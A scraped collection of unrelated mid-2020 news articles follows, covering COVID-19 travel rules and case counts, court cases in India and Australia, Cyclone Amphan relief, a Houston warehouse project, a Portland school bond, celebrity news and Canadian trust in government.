On Thursday, that meant early arrivals had a nearly pristine park to themselves. Hikers had the rare opportunity to inspect Skull Rock with almost no human company. (Rabbits and lizards, however, were plentiful.)

Ranger Devann Miles said she was braced for a surplus of people, but you never know.

With crowds in mind, rangers have planned for one-way traffic on at least two of the park's busiest loop trails, Barker Dam and Hidden Rocks. However many visitors arrive for the weekend, she said, people just need to go slow, because of the snakes and the tortoises.

Nearby on the parks main road, Wanda and Rick Bogin were on their bikes, hoping to put in a 40-mile ride.

The two, who run a group tour business, were supposed to be leading groups in New Orleans and New York, respectively, this week. Instead, they said, theyre still at their winter home in La Quinta because this seasons trips had been canceled. So they seized the opportunity to make a day trip to the park.

Its just too beautiful not to be here, said Rick Bogin.

Were trying to make lemonade out of it, said Wanda Bogin. And hopefully, well see a desert tortoise today.
New Delhi: In the Bhima Koregaon violence case, the Delhi High Court on Friday (May 22) sought NIA's response on a plea by civil rights activist Gautam Navlakha seeking interim bail. Navlakha sought the bail on the ground that due to his advanced age, he was vulnerable to catching coronavirus in prison.

Hearing the petition through video conferencing, Justice Anup J Bhambhani issued notice to the National Investigation Agency and asked the agency to file its response and listed the matter for further hearing on May 27.

The civil rights activist sought bail on the medical ground stating that he is a senior citizen and suffers from Colonic Polyposis, Chronic Gastritis, and lactose intolerance, besides being diagnosed with high blood pressure.

Solicitor General Tushar Mehta, representing the NIA, opposed the plea saying the grounds in the interim bail were rejected by the Supreme Court when Navlakha had sought extension of his protection from arrest on grounds of the ongoing pandemic.

67-year-old Navlakha, who is presently lodged in Tihar jail, had surrendered before the NIA on April 14 in pursuance to the Supreme Court's direction.

On March 16, the apex court had dismissed Navlakha's anticipatory bail and had granted three weeks time to surrender. On April 8, he again moved the Supreme Court seeking time to surrender citing the coronavirus pandemic.

The Top court had asked him to surrender in one week while dismissing his anticipatory bail plea and that of civil rights activist Anand Teltumbde.

The Pune Police arrested Navlakha from his Delhi residence in August 2018, following the violence at Koregaon Bhima village in Pune district on January 1, 2018, but the Delhi High Court had set aside transit remand order.

Earlier this year, probe in the case was transferred from Maharashtra Police to the NIA.



Notably, the Elgar Parishad conclave was held in Pune on December 31, 2017, triggering caste violence at Koregaon Bhima the next day.
The Indian Air Force has readied 25 aircraft and 31 choppers for relief operations in areas affected by Cyclone Amphan, the IAF said Friday.

"The aircraft/helicopters were modified with required equipment for undertaking relief operations and are on standby with crew for a quick deployment at various IAF bases," it said in a statement.

Amphan, the strongest storm to hit India's eastern region since Cyclone Sidr killed nearly 3,500 people in 2007, made a landfall on Wednesday evening in the Sunderbans in West Bengal.

It has caused widespread damage to infrastructure in Odisha and Bengal.

"The Indian Air Force continues to be in a high state of preparedness for undertaking relief operations in the eastern parts of the country. A total of 56 Heavy and Medium Lift assets consisting of 25 fixed-wing aircraft and 31 helicopters were earmarked by the IAF," the IAF added.

Seven districts of West Bengal badly hit by the cyclone are South 24 Paraganas, North 24 Paraganas, East Medinipur, West Medinipur, Howrah, Hooghly and Kolkata, with damage also reported in the district of Birbhum.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
A doorman wearing a face shield to protect from coronavirus stands with a colleague at the main entrance of the Fortnum & Mason department store in the Piccadilly area of central London. Read more

LONDON  People arriving in the U.K. will have to quarantine themselves for 14 days and could be fined 1,000 pounds ($1,220) if they fail to comply under a plan being announced Friday by the British government.

Home Secretary Priti Patel will set out details of the measures, which have already sparked confusion and criticism from airlines, airports and lockdown-weary Britons wondering whether they will get to take a vacation abroad this summer.

Britain did not close its borders during the worst of the countrys coronavirus outbreak, which has been linked to more than 36,000 deaths in the U.K. It is introducing its quarantine just as many other European countries are starting to open up again.

The British government has previously said the quarantine will start in early June and will apply to arrivals from everywhere except Ireland, which has a longstanding free-movement agreement with the U.K. Ireland is expected to announce similar measures.

There are likely to be exemptions for some travelers, including truckers and medics.

Britons returning from overseas will also have to self-isolate for 14 days under the measures, which will be reviewed every three weeks.

There has been confusion about the U.K. policy, after the government initially said it would not apply to people arriving from France. That prompted a rebuke from the European Union, which wants a coordinated policy across the 27-nation bloc.

Britain later said France would not be exempt.

Airlines have warned that the British move could hobble their efforts to rebuild a business devastated by pandemic-related travel restrictions.

Karen Dee, chief executive of Britains Airport Operators Association, said the government had not told airports how the quarantine would be enforced.

I believe that passengers will be asked to give an address in the U.K. and there will be spot checks and fines for those people, but I dont know the detail of how that will be implemented, she told Parliaments Home Affairs Committee.

Many European nations shut their borders in March as the pandemic took hold, and are now easing those restrictions. But the plans to reopen to foreign visitors are spurring national and regional tensions as the summer tourist season approaches.

Italy, the onetime epicenter of Europes pandemic, is opening to European travel on June 3, the same date that it is allowing Italians to move outside their regions for pleasure. But some regions are taking precautions to ensure that the sudden reopening doesnt create new infection clusters. Sardinias governor has suggested he might require visitors to the island to certify they had tested negative for the virus within the past week, or submit to a test on arrival.

The Tuscany regional government says on its website that any visitor from abroad or another Italian region must undergo quarantine for 14 days. Its unknown if Tuscany, which fills with British and German tourists in summer, will revise that rule as June 3 approaches.

France says it may quarantine people arriving from an area where the virus is circulating, but it has not published a list of targeted areas. The French presidency said those coming from EU countries, from Britain and from the passport-free Schengen area will be exempted.

Some European regions and tour operators have called for tourism corridors between areas with low rates of the coronavirus. Britain has said it may consider the idea, but Italy has condemned it, fearing it will exclude the country, which has seen more than 32,000 COVID-19 deaths.

_____

Associated Press writer Nicole Winfield in Rome contributed to this report.
Phelan-Bennett Development plans to break ground next month on the Jordan Ranch Distribution Center before securing a tenant, a sign of confidence in a market with no shortage of new industrial buildings.

The 495,000-square-foot building, which will be built on 31 acres west of Jordan Ranch Boulevard about a quarter mile south of Interstate 10 in Katy, is being developed on behalf of WPT Industrial REIT to target e-commerce tenants.

Youre hearing a lot of people putting the brakes on Houston, said Justin Bennett, Texas regional partner for Phelan-Bennett. In the case of our particular project, were full steam ahead.

The design calls for 36-foot clear heights, 189 trailer stalls and parking for 335 vehicles, which would accommodate a workforce large enough to handle the distribution of consumer goods. The location west of Houston provides proximity to a growing number of households that are increasingly shopping for goods online. The coronavirus pandemic has accelerated a trend that already accounted for 11.8 percent of retail sales in the first quarter, according to the Census Bureau.

The design of these buildings is migrating to a greater amount of flexibility for parking versus a site that is solely limited to building area, truck maneuvering area and a small amount of vehicle parking, Bennett said.

The project is the latest to break ground in a region with a number of large distribution centers, including Rooms To Go, Costco and Amazon. Construction is underway on a 2.1 million-square-foot distribution center for Ross Stores on Woods Road in Brookshire.

MORE: Houston industrial market swells as COVID-19 stalls leasing activity

The building begins as developers delivered 9.8 million square feet of industrial buildings in the Houston market in the first quarter, pushing the vacancy rate to 7.9 percent, according to Colliers International. Thats up from 6.1 percent a year ago.

About half of the 17.8 million square feet of industrial space under construction area wide is preleased, according to Colliers International.

Despite the downturn in energy demand and an oversupply area-wide, Phelan-Bennett sees west Houston as poised to capture industrial demand in a post-COVID environment. Retooled supply chians and the shift from brick-and-mortar shopping to e-commerce platforms are expected to increase demand for industrial space, according to the developer.

We want to meet that trajectory. We feel that our timing will be excellent, Bennett said.

North of Interstate 10, National Property Holdings is marketing two proposed buildings totaling more than 1 million square feet for lease at its Katy Prairie Business Park.

Nearby, in Brookshire, Stream Realty Partners is on target to deliver another spec development with three buildings totaling more than 1 million square feet in April 2021 in the first phase of its Empire West project. Site work is under way, and Stream has secured a construction loan for the initial buildings.

Nazir Khalfe, a principal at Powers Brown Architecture who worked on the Brookshire project and many others across the Houston region, said the new buildings are designed to accommodate goods that can be stacked higher. The standard for buildings over 500,000 square feet has risen from 32-feet high to 36-feet, and now some will rise to 40-feet.

Due to e-commerce, its more of a volume game, Khalfe said. The clear heights of these buildings are getting taller and taller.

Market dynamics may not be great now, but real estate investment trusts, for instance, are looking 12 to 18 months out, after which the COVID-19 pandemic should hopefully die down and oil prices will improve, Khalfe said.

WPT Industrial REIT has a portfolio of 102 industrial properties totaling 31.2 million square feet. Phelan-Bennett Development has developed 1.1 million square-feet of new Class A developments over six projects.

katherine.feser@chron.com

twitter.com/kfeser
The first time the girl died, her heart stopped for one full minute.

Jissel Rosario slipped into cardiac arrest during surgery, surrounded by doctors trying to remove a blood clot in her left leg.

They brought her back to life just before 5 p.m. on April 21. Then the 12-year-olds heart stopped again.

Five minutes passed. Then 10. Fifteen. Thirty.

After 45 minutes of frantic resuscitation efforts, Jissel finally had a pulse.

Doctors wondered for how long.

For someone to have been so sick that she required such a prolonged effort at resuscitating her, I wasnt expecting her to make it, Dr. Derrick McQueen, the director of pediatric care at Newark Beth Israel Medical Center, told NJ Advance Media.

As Jissel lay in a medically induced coma, her doctors pondered the long odds she faced. They worried if she did live, what condition the Newark girl would be in after her brain was starved of oxygen for so long.

And they debated what role the coronavirus was playing in all this.

We werent sure what was going to happen, McQueen said.

Then Jissel woke up four days later.

I had faith

The coronavirus seemed to spare children in the early days of the pandemic.

Few pediatric COVID-19 cases were reported in March in New Jersey, including no deaths.

But as Jissels story illustrates, a growing number of kids exposed to the virus face life-threatening complications  including a rare, mysterious inflammatory syndrome attacking blood vessels.

Only 2% of the states total COVID-19 hospitalizations involved pediatric cases, Dr. Ed Lifshitz, medical director of the communicable disease service at the New Jersey Department of Health, said last week. And only one death has been recorded among state residents under the age of 18, a 4-year-old with underlying medical conditions.

But parents now know their children are not immune in a pandemic that to date has infected 150,399 people in New Jersey and killed 10,747.

In Jissels case, a blood clot cutting off circulation in her leg had traveled to her lungs as doctors tried to remove it. She had no history of clots, but they are a common symptom of COVID-19. She was otherwise asymptomatic and twice tested negative for the coronavirus  only to test positive for antibodies, meaning she had been exposed.

But doctors had more immediate concerns last month after Jissel went 45 minutes without oxygen. They feared brain damage. Organ failure. A third bout with cardiac arrest.

The girl who loved to bake cookies, paint and dance around the apartment with her mother had cheated death twice. But her chances of survival were slim.

Only one-third of pediatric patients who go more than 20 minutes without a pulse survive, according to Dr. Anthony Rosania, an associate professor of emergency medicine at Rutgers New Jersey Medical School. The survival rate was once as low as 6%, said Rosania, who was not involved in Jissels care.

Then a miracle happened, or something close to it.

After three days in a coma, Jissel started to move her eyebrows. Then her fingers. She woke up the next morning.

And she seemed ... perfectly fine. No brain damage. No organ failure.

As a doctor, I always have a hard time calling things a miracle or almost a miracle, but I do think this story of survival after 45 minutes is nothing short of extraordinary, Rosania said. Its generally unlikely, and its amazing that it was able to happen."

Jissel would limp out of the Newark hospital on crutches May 12, nearly recovered after three weeks of life-threatening issues and medical procedures.

I never lost hope, said Alma Cruz, Jissels mother. I knew my baby was going to be OK. I trusted in God. I said, I dont know what test or what youre trying to put me through,' but I had faith. I had trust."

Jissel Rosario and her mother, Alma Cruz. Jissel was treated at Newark Beth Israel Medical Center after her heart stopped twice and she was revived. Ed Murray | NJ Advance Media for

Stabbing me over and over

The ordeal began with a little soreness in Jissels left thigh.

A warm rag worked well enough to mask the pain for a day. Then a warm bath helped. Then nothing did.

It just kept getting worse and worse," Jissel said. It was a horrible pain. It was like someone was stabbing me over and over again.

An urgent care doctor initially diagnosed the red swelling in her thigh as cellulitis, a bacterial skin infection. But after two days on antibiotics, the swelling worsened.

Jissels foot then turned blue and ballooned as the swelling migrated beneath her knee.

On April 21, Cruz rushed her to the emergency room at Saint Barnabas Medical Center in Livingston, where doctors discovered the clot. They transferred her to the Childrens Hospital of New Jersey at Beth Israel for surgery to remove it.

By then, the clot had cut off circulation to her foot.

You know the Michelin Man? Imagine that Michelin Man  how pudgy he is with the rolls? Think of her left leg looking like the Michelin Man and the rest of her looking normal, said Dr. Marc Cohen, a cardiologist who treated Jissel at Beth Israel. "It was cold. You could barely feel a pulse.

There was hardly any blood flow going to the leg until we started working on her.

No one can say for sure what caused the massive clot, but doctors believe it is related to the coronavirus.

Jissel never showed any symptoms. No fever. No cough. No shortness of breath. She never got sick and didnt have any underlying medical conditions. But she did test positive for antibodies to the virus.

Theres always the possibility that she was predisposed to having problems with clotting and the exposure to the virus may have aggravated it or unmasked it, Cohen said.

Jissels case may be evidence of how COVID-19 can manifest itself differently in patients, posing a bigger threat to children than originally thought.

Reports of strokes caused by blood clots in people who test positive for the coronavirus are rising, especially in young adults.

And at least 15 New Jersey children, ages 2 to 18, were recently treated for a Kawasaki-like inflammatory syndrome that caused swelling of their arteries. In Jissel, the virus targeted her veins.

Common to both is the inflammation triggered by the infection," Cohen said. She did not have any issues with her arteries or coronary arteries, and the fact that the veins were attacked makes it very unique. To my knowledge, this was the first time weve seen something like this in a child.

Jissel Rosario talks with her mother, Alma Cruz. Rosario was treated at Newark Beth Israel Medical Center after her heart stopped twice and she was revived. She returns to the hospital every day to receive hyperbaric oxygen therapy.Ed Murray | NJ Advance Media for

A special recovery

As a mother, Alma Cruz just knew.

She sat in a Beth Israel waiting room, just on the other side of the wall from the pediatric catheterization lab, waiting for news on Jissels procedure.

Then an announcement was made over the hospital intercom. She saw doctors and nurses barreling toward the lab.

This was my baby. I knew it was for my baby," Cruz said.

After doctors brought Jissel back the second time that April Tuesday, they stabilized her on an extracorporal membrane oxygenation (ECMO) machine, which oxygenates and pumps blood, allowing the heart and lungs to rest. She was also placed on a ventilator. Cohen and a team of doctors then worked to remove the clot from her lung.

I just wanted to stay positive, Cruz said. "Even though there were times I had that cringe feeling, I would shake it off and say shes going to be fine and go back to being her crazy usual self and being that awesome light in my life.

After three days on the ECMO machine, Jissels heart started beating on its own.

Later on the night of April 24, she began moving her eyebrows.

I was just like, Oh my God, baby, if you can hear me, move them again, Cruz said. "I would see her moving her fingers and hand, and then it was one step at a time.

McQueen left for the day on April 24 still worried about Jissels status. He shared his concern with Cruz.

I told them I was worried about her brain, he said. So I left Friday night not knowing what was going to happen.

The next morning, Jissel opened her eyes and was responsive. The ventilator was removed that afternoon.

McQueen returned April 26 after a day off to find a different patient.

She was being a 12-year-old, he said. She wanted to get out of bed and stuff. I was so happy and relieved that she had gone through this and that she had come out on the other side."

Jissel Rosario, a 12-year-old girl from Newark, poses after being discharged from Newark Beth Israel Medical Center following a three-week battle with a life-threatening blood clot that was likely caused by the coronavirus. From left to right: Stacie Perry, nursing care director; Alma Cruz, Jissel's mother; Jeanie Kenneally, nurse manager, pediatric critical care; Jissel; and Jamel Corbett, nurse manager, pediatrics.Photo provided by Linda Kamateh

Doctors are still left with questions. Questions about the coronavirus specific role in her illness. Questions about what it could mean for other kids exposed to COVID-19 who are asymptomatic, only to later develop life-threatening complications.

Questions about Jissels miraculous recovery.

Some of it might be luck. Some of it might be the work of a higher being, McQueen said. The fact that she had no life in her for a good 45 minutes and she made it out of here makes it special to me.

After 22 days at Beth Israel, Jissel finally made it home.

But before she left, doctors and nurses lined the hospitals hallways for her dramatic exit, sending her off with a round of applause and plenty of balloons.

It was amazing to know that all of those people were there, helped me and supported me in everything I went through, Jissel said.

For now, shes using crutches as she returns to the hospital each day for hyperbaric oxygen treatments to help her regain the circulation in her toes.

In general, her prognosis is excellent," Cohen said.

Almost a month ago, they were just happy she had a pulse.

Technician Cynthia Topper with Jissel Rosario and her mother, Alma Cruz. Jissel was treated at Newark Beth Israel Medical Center after her heart stopped twice and she was revived. She returns to the hospital every day to receive hyperbaric oxygen therapy.Ed Murray | NJ Advance Media for

Donations to help support Jissels continued medical care can be made to her familys GoFundMe account.

Patrick Lanni may be reached at planni@njadvancemedia.com.
About 245 deported Ghanaians from Kuwait are due in the country from tomorrow according to Minister of Information Kojo Oppong Nkrumah.

It follows an official request from the Kuwaitee government to deport the illegal immigrants in line with immigration regulation for handling coronavirus

The deportees who will arrive on a chartered flight are expected to go under mandatory 14 days quarantine.

Those found to be positive will be isolated and treated at the expense of government according to Mr. Oppong Nkrumah.

The Information Minister who revealed this at the Ministers Press Briefing said the government is still collating data on Ghanaians stranded abroad.

He said the collation will be examined on a cohort by a cohort basis before taking ay decision what the situation is eg of Kuwait.

According to him over a thousand Ghanaians across the World have so far indicated their willingness to return home following an exercise by the government to compile a list of stranded Ghanaians outside after the closure of the borders.

Ghana currently has 6, 486 positive COVID 19 cases with 1,951 recoveries and 31 death since it first recorded two cases in March.

The country closed its borders in March in a bid to contain the outbreak of the coronavirus pandemic in the country.

Meanwhile, the ban on public and social gatherings imposed by the President to also help contain the situation is still in force.
New Delhi: A 50-year-old assistant sub-inspector of the Central Reserve Police Force was among 132 people who died in the last 24 hours due to novel coronavirus on Thursday. This is the second death linked to the pandemic in the countrys largest paramilitary force, which has 3.25 lakh personnel.

The ASI was suffering from liver cancer and was infected by Covid-19 some time back. CRPF also reported 9 fresh positive cases on Thursday and its active cases now stand at 121.

Of all the fresh deaths reported in the last one day, highest was from Maharashtra (65), followed by Gujarat (30). Delhi reported 8 deaths in one day.

The total death toll in the country is now 3,435 even as overall cases reached 1,12,359 in last two months. On Thursday, 5,609 fresh cases were detected. The total number of active cases in India is now 63,624 while 45,299 have been cured taking recovery rate to 40.32%.

However, several areas in the country continue to show up new cases. Uttar Pradesh reported 181 fresh Covid-19 cases on Thursday, taking the total number of cases to 5,356 while 127 people have died of the disease so far.

Many of the fresh Covid-19 cases were attributed by officials to migrants who returned from other states recently. With over 20 lakh migrant workers returning to UP in the last few days, the state on Thursday saw a quantum jump in the Covid-19 cases with overall 1,230 people testing positive, including 95 in Barabanki. In UP, urban areas in Gautam Buddh Nagar and Ghaziabad were categorised as red zones for Covid-19.

Bihar and Himachal Pradesh, too, recorded several cases. Kerala registered 24 Covid-19 cases for the second consecutive day on Thursday, all returnees from abroad and other states, taking the tally to 690 while over 80,000 are under observation.

Meanwhile, Indian Council of Medical Research in collaboration with department of health and family welfare and national centre for disease control is conducting a community-based sero-survey to estimate the prevalence of SARS-CoV-2 infection in Indian population.

Health ministry officials said a team of researchers from Jawaharlal Nehru Centre for Advanced Scientific Research (JNCASR), along with a collaborator from IISc, Bengaluru, have developed a heuristic predictive model for Covid-19 that provides short-term predictions about the evolution of the disease and the medical needs that are generated as a consequence.
Farm veterinary specialists have said the UK government should 'never be prepared to sacrifice' food safety in favour of Brexit trade deals.

Leaders from the farm veterinary sector have written to the House of Lords calling for Peers to reject the Agriculture Bill and return it to the House of Commons.

This follows the defeat last week of an amendment which would have protected animal welfare and food standards for imports entering Britain in any trade deals.

Nikki Hopkins, of the British Cattle Veterinary Association, Nick Perkins, the Goat Veterinary Society, and Nick Hart, the Sheep Veterinary Society, have urged Peers to 'lead the way'.

They want members of the Food, Poverty, Health and Environment Committee in particular to secure the opportunity to uphold animal welfare and back British farming.

In an open letter to the Lords, the organisations say they 'stand alongside' farmers in expressing disappointment at the rejection of the Agriculture Bill amendment.

"It is imperative that the UK maintains high standards of production and guarantees that imports produced to a lower welfare standard never reach shelves.

"The farming community is integral to the UK and without its existence many rural communities would cease to exist," the letter adds.

"The Covid-19 pandemic has emphatically highlighted the importance of food security and how UK production can rise to meet the most demanding challenges."

The vet groups say the Bill presents a 'prime opportunity' to ensure that the hard work and financial investment of the farming community is 'not in vain'.

"We cannot allow food produced to standards which have been illegal in this country for decades to freely enter this country," the open letter says.

"Given the exit from the EU, this opportunity is not only the best opportunity to support farming in this country, it may be the only one."
Portland Public Schools will vastly downsize the eight-year $1.4 billion bond package officials planned on pitching this November as the coronavirus pandemic wreaks havoc on Oregons economy and the state projects tax revenue shortfalls of up to $2 billion.

Instead, board members and district decision-makers on Tuesday discussed alternate proposals, chief among them a two- or three-year package topping out at about $600 million.

The school boards bond committee has long seen the economic writing on the wall and earlier discussed whether it would be wise to ask voters to approve a property tax measure during an economic downturn.

Now may not be the right time to go out with a $1.4 billion package, board member Andrew Scott said last week.

Officials are dubbing the revised pitch a resiliency bond that would fund urgent infrastructure projects and investments in technology and learning material.

According to district documents, some students have been using instructional materials that are more than a decade old. It would cost nearly $30 million to purchase new materials for every subject area, officials estimate.

District officials also estimate 12 schools are in dire need of roof repairs, which would cost $70 million. It would cost some $45 million for seismic retrofits to six of those buildings.

Officials asked board members to rank those projects, plus several more, for inclusion in a potential November bond package.

Board member Julia Brim-Edwards floated the idea of turning Harrison Park School into a middle school. Its currently a K-8.

Board member Scott Bailey pressed for seismic upgrades to top the list, citing the large-scale earthquake geologists believe may hit the Pacific Northwest in the next 50 years.

When Im doddering away in a rest home years from now, drooling uncontrollably, I want to have a smile on my face knowing that all our schools are seismically safe, Bailey said. Of course the curriculum need is huge. Im not denying that. But there are other needs as well, and if we ignore the infrastructure, I think thats a mistake.

Board members grappled with one particular question in probing district staff on what a November bond should pay for: What will public education even look like when things are back to normal?

I dont want to give the public the impression that the model we envision in the future is driven by computers and not through the benefit of the professional judg e ment of our educators, Superintendent Guadalupe Guerrero said. Theres no substitute for face-to-face relationships.

While Tuesdays exercise revealed little in the way of what Novembers bond will include, one things for certain: The district will ditch its plan to extensively renovate three high schools.

Cleveland, Jefferson and Wilson are the only comprehensive high schools in the Portland school district that havent been remodeled or begun to go dramatic upgrades as part of a bond campaign.

All of them were originally teed up for the November bond campaign.

Now, Portland Public Schools might only spring for one major renovation, at a school to be determined, and use the rest of the bond money to cover more than $200 million in cost overruns from projects voters greenlit in 2017.

The district would return to voters in 2022 or 2023 and ask for up to $900 million to renovate the two remaining high schools and pay for other construction projects.

What were really looking at here is really front-loading some high-priority scopes of work, Chief Operating Officer Dan Jung said. In essence, its taking an eight-year plan and breaking it into two segments.

And even though Portland Public Schools decision-makers have shown hesitance in placing a big-money measure on the November ballot, other districts had luck with their own bond campaigns this week.

Voters approved five of nine education funding measures, ranging from a $122 million construction bond for Lane Community College to a $1.8 million maintenance bond in the rural Glendale district.

Officials in Portland expect to launch a community survey June 1 to ask students and parents what theyd like to see in a November bond campaign. A virtual town hall meeting should follow shortly after.

--Eder Campuzano | 503-221-4344 | @edercampuzano

Eder is The Oregonians education reporter. Do you have a tip about Portland Public Schools? Email ecampuzano@oregonian.com.

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New Delhi :

A head constable attached to Sarai Rohilla Police Station in North District was suspended on Saturday after a woman accused him of trying to rape her.

In her complaint filed on Friday, the woman has charged head constable Raj Kumar with "constantly" harassing her and trying to rape her day before yesterday, police said.

"According to the complainant, Kumar forcefully entered her house in an inebriated condition and tried to rape her.

Panicked, she called her husband who was not at home.

"On reaching home, her husband made a PCR call. He also locked the house but Kumar managed to escape," a senior police official said.

The complainant also alleged that Kumar used to call her at odd hours and was stalking her.

The accused has been placed under suspension and further investigation is underway, the official said.

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An Uber driver accused of sexually assaulting women inside his car had 'ritualistic sexual fantasies' about sleeping and drunken women, a court has heard.

Sharjeel Mirza, 37, of Bundoora - 16kms north of Melbourne - remained caged on Friday after an unsuccessful attempt at bail in the Melbourne Magistrates' Court.

His barrister, Lucien Richter, had argued the DNA extracted from two victims could have got there because of the short skirts they wore while sitting in his car.

Sharjeel Mirza, 37, of Bundoora, allegedly kept an Uber sign on his windscreen despite being suspended from the company for bad behaviour

Detective Senior Constable Erin Clark leaves the Melbourne Magistrates' Court after successfully keeping an alleged rapist behind bars

Lucien Richter suggested DNA evidence being used by police against his client may not be his

'I find it difficult to believe,' Detective Senior Constable Erin Clark said.

Mr Richter is the son of prominent queen's counsel, Robert Richter, who represented Cardinal George Pell during his fight against child rape allegations.

His client faces charges of rape and attempted rape and assorted sexual assault charges.

Earlier, the court heard Mirza had been dumped from Uber and its rival Ola over complaints he was a sex pest long before he was eventually charged.

Still displaying an Uber sign on his car a year after he was stood down, the court heard Mirza allegedly trawled the streets at night looking for vulnerable prey.

The 37-year old Pakistani-born father of two had come to Australia on a student visa, which had expired in August 2017.

Senior Constable Clark told the court Mirza targetted a woman he saw drunk and vomiting outside a CBD nightclub early last year and offered to drive her home.

She later told police he lured her into his 2016 Corolla with an offer of a bottle of water and to clean up her vomit.

The court heard Mirza asked for $70 cash supposedly because she was too drunk and no-one else would collect her.

Once alone, the woman claimed Mirza pounced, raping her inside his locked vehicle.

When he was done, he dropped her off at home, the woman told police.

She called the police and forensic swabs were taken to collect DNA, which would later indicate Mirza was the culprit, the court heard.

He denied the allegations and police were forced to cut him loose while they awaited test results.

Months later, police claim Mirza struck again, this time against another drunk woman he had picked-up on trendy Brunswick Street.

The court heard CCTV from a nearby pub showed his victim stumbling over as she hopelessly tried to call for a ride.

Sharjeel Mirza got a job with OLA after Uber suspended him over alleged complaints he had acted inappropriately to women

Detective Senior Constable Erin Clark said the only thing that would stop Mirza offending was jail

Again, Mirza showed up in his Corolla and again the woman claimed she was sexually assaulted inside of it, the court heard.

When she woke the next day she too went to police where DNA was taken from the inside of her underwear.

The results were a near perfect match, police alleged.

This time Mirza was arrested and his computer forensically searched.

Senior Constable Clark described a disturbing cache of pornography, which revolved around sleeping and drunk women.

The court heard Mirza's previous bosses had been warned about his alleged bad behaviour, with several complaints made against him in 2018 by various women.

Mirza allegedly preyed upon drunk and vulnerable women who were just trying to get home after a night out in Melbourne

Police had feared that if Mirza was released on bail there was a chance he could be granted a bridging visa that would allow him back into the community.

Mr Richter said his client hoped to remain in Australia with his family.

He told the court Mirza's wife, who supported him in court, could put up a $10,000 surety if he was released.

Senior Constable Clark warned nothing would stop Mirza from re-offending other than jail.

Mr Richter argued the police case against his client was not 'overly strong' and questioned the method of DNA testing done on the victims' samples.

He said previous complaints made to ride sharing companies could not be used in any trial against his client and suggested his alleged victims could struggle to convince a jury because they were so drunk.

'That's no criticism either,' he said of one of Mirza's alleged victim's.

'She was very, very drunk.'

Mirza, who appeared in court via video link, was remanded in custody until his next appearance.
Cardi B wants to know how parents get their children to stand still for photos because, for the life of her, she can't seem to get her daughter Kulture to strike a pose.

The 27-year-old rapper attempted show off her baby's adorable new look - a cowgirl ensemble complete with pink hat, cowboy boots and matching fur - but struggled to snap a decent picture in new Instagram posts on Thursday.

Clearly following in her famous momma's footsteps, the one-year-old is already sporting bold style and, in one post, declared through fashion that she is officially part of the 'Bardi Gang.'

Mommas girl: Cardi B attempted show off her daughter Kulture's adorable new cowgirl look but struggled to get the one-year-old to stand still so she could snap a picture in new Instagram posts on Thursday

On social media, Cardi, whose real name is Belcalis Almanzar, asked her millions of followers for some advice on getting her one-year-old to stand still long enough for pictures.

'When I see these people take perfect pics of their kids I just be like HOW ? HOW? HOW ? cause mine dont stand still,' she captioned a post.

The post contained two videos, one of Kulture trotting along in an all-denim ensemble, colorful cowboy boots, a pink cowgirl hat and a white furry coat with the words 'Bardi Gang' in pink on the back.

From behind the camera Cardi called out 'wow' in attempt to get Kulture to look at the camera but the little one was laser focused on getting to the kitchen counter.

'When I see these people take perfect pics of their kids I just be like HOW ? HOW? HOW ? cause mine dont stand still,' Cardi wrote on Instagram

Cowgirl chic: The one-year-old rocked an all-denim ensemble, colorful cowboy boots, a pink cowgirl hat and a white furry coat with the words 'Bardi Gang' in pink on the back

In a repeat performance, the mom of one tried getting her daughters attention again while she was perched on a table but she, instead, turned to wave at someone else in the room.

Cardi did manage to snap an adorable shot of Kulture (who was still not looking at the camera) in the denim outfit with a furry pink vest.

'I try to take pics,' she wrote with some sad face and rolling eye emojis. 'Style by me .Thanks auntie @hennessycarolina for my cowgirl boots.'

In her Instagram story, the Grammy winner captured an adorable moment with Kulture and her dad, rapper Offset.

Adorable! Later Cardi manage to capture a sweet moment of Kulture having playtime with her dad Offset

Fun times! In the video the happy pappa, who is clearly besotted with his daughter, was seen tossing the giggling girl up and down

In the video the happy pappa, who is clearly besotted with his daughter, was seen tossing the giggling girl up and down.

Cardi B has been keeping her fans up to date with her life during quarantine through social media and recently unveiled her fresh new body ink on her upper-back.

'I'm almost done, two more sessions!' the Grammy-winning rapper said via Instagram Story, while debuting her massive butterfly and floral tattoo on Tuesday evening.

The 27-year-old Hustlers actress dutifully tagged the artist Jamie Schene of Union 3 Tattoo in California, as she flaunted the vibrant designs in her bathroom.

Keeping busy: Cardi B has been keeping her fans up to date with her life during quarantine through social media and recently unveiled her fresh new body ink on her upper-back

'I'm almost done, two more sessions!' the Grammy-winning rapper said via Instagram Story, while debuting her massive butterfly and floral tattoo on Tuesday evening

She now has at least ten documented tattoos on her body, including a huge colorful peacock tattoo that stretches from her waist and derriere all the way down to her thigh.

Last year, she got her husband Offset's name tattooed in cursive on her left leg.

Offset has also paid homage to his wife with a tattoo of her name on the right side of his neck.

It's right underneath his Buttercup tattoo from The Powerpuff Girls, that he reportedly got in 2018.
OTTAWAIn politics as in life trust is hard to earn, but heres another lesson courtesy of the pandemic: trust can be rebuilt.

Canadians trust in government took a dive after last falls federal election, according to the international public relations firm Edelman.

Voters knocked Justin Trudeaus majority Liberal government down to a minority, and Canadians were unsettled afterward by what they saw on the national scene. They worried about increased tensions among political parties, a growing east-west divide and international trade challenges, says Lisa Kimmel, head of Edelman Canada.

However, as the pandemic has unfolded, that distrust has eased.

Edelman updated its global trust barometer this month showing a clear rise in public trust across several societal groups since January  in government, NGOs, media and business.

The online survey gathered data from more than 13,200 respondents in 11 countries, including 1,200 in Canada.

In Canada, Germany and the United Kingdom, trust ratings for government spiked to a record high, said Kimmel.

We as Canadians were concerned about the ability of our institutions to actually lead us into the future, she said in presenting the findings last week. And with the emergence of COVID-19 theres no question that our future is even more uncertain than ever before. Yet since January the trust that Canadians place in government increased significantly.

Were actually seeing a record high in trust, a 20-point increase over the last couple of months, to now 70 per cent trust in government, she said.

Its not as if things got better.

In January, Canadians were shaken by an Iranian missile attack on a Ukrainian passenger plane that killed dozens of citizens and students headed here.

In February, the economy was rattled by train blockades and Indigenous-led protests over a gas pipeline project. That came as the coronavirus outbreak began to spread around the world.

By mid-March, Canada was in pandemic lockdown, a time of huge strain on our governments and institutions.

So the rise of trust in government in Canada was far from given.

The survey tapped into feelings not about any one political personality but about government writ large.

